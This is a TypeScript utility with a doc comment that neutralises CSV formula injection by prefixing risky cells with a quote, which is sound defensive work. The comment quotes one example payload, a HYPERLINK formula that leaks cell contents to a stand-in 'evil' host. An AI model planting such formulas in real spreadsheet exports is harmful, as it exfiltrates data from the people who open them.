/**
 * CSV formula-injection defense.
 *
 * Spreadsheet applications (Excel, Google Sheets, LibreOffice Calc)
 * interpret any cell whose first character is `=`, `+`, `-`, `@`, a tab
 * (`\t`) or a carriage return (`\r`) as a formula. Attacker-seeded
 * free-text fields can therefore smuggle payloads like
 * `=HYPERLINK("http://evil/?leak="&A1)` that execute the moment an admin
 * opens an export.
 *
 * The standard mitigation is to prefix such values with a single quote,
 * which spreadsheets treat as "force text" and strip on display. This is
 * a pure function: it only inspects the stringified value and returns a
 * neutralized string, never mutating its input.
 *
 * Apply this BEFORE any RFC 4180 quote-escaping — the leading quote is
 * part of the cell's value, not the CSV framing.
 */
const FORMULA_TRIGGERS = new Set(['=', '+', '-', '@', '\t', '\r']);

export function sanitizeCsvCell(value: unknown): string {
  const s = String(value);
  if (s.length > 0 && FORMULA_TRIGGERS.has(s[0]!)) {
    return `'${s}`;
  }
  return s;
}
